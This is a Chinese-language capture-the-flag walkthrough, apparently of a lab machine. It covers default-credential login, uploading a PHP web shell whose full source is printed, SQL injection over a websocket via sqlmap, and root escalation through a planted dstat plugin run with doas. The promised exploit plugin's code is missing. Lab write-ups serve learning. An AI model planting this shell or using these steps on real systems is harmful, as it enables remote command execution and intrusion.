信息收集
- 22 ssh
- 80 http
- 9091
对80进行检查。
搜索得知存在默认登陆密码admin:admin@123 和 user:12345
。
右上角有一个upload,试试能不能本地上传。
能够获取上传的路径,但是此文件没有写入权限。
切换到tiny文件夹再次上传。
在/tiny/uploads能够上传。
上传脚本。
<html>
<body>
<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
<input type="TEXT" name="cmd" id="cmd" size="80">
<input type="SUBMIT" value="Execute">
</form>
<pre>
<?php
if(isset($_GET['cmd']))
{
system($_GET['cmd']);
}
?>
</pre>
</body>
<script>document.getElementById("cmd").focus();</script>
</html>
获取shell。
在/etc/nginx/sites-enabled找到了一个域名。
进一步探索发现子域名。
来到新界面。
先注册一个账号看看。登陆后白嫖一张看球赛的票,并且还可以查询票是否存在。
奥,看起来有sql注入。
抓包发现websocket,并且能看到使用的是9091端口。
源代码里也有。
简单测试一下
通过搜索找到此界面。依照界面所述操作。
修改重要的数据运行,就能够完成sqlmap到websocket的转换。
运行后会出现一个地址,用sqlmap -u “http://localhost:8081/?id=1” --dbs使用所给的地址。
获得一个player的凭证。
立足
通过前面获得的player的凭证登录。
提权
仔细看了几遍linpeas.sh的扫描结果,排除了部分可能的切入点后发现了这两个程序。
dstat是一个信息收集统计工具。
重点是在使用手册上看到了dstat可以使用插件。
找到了插件所在位置,但是我们没有对这个插件存放的目录有写入权限。
通过–list查看插件信息。
那么问题来了我们没有扩展插件目录写入权限,但是拥有这个目录权限。
注意dstat插件命名格式是dstat_开头。
添加dstat_exploit.py,内容如下。
再次运行–list发现已经识别,动作要稍微快点,应该有个时间任务在某时重置/usr/local/share/dstat目录。
我们知道有doas命令,并且doas可以对dstat使用。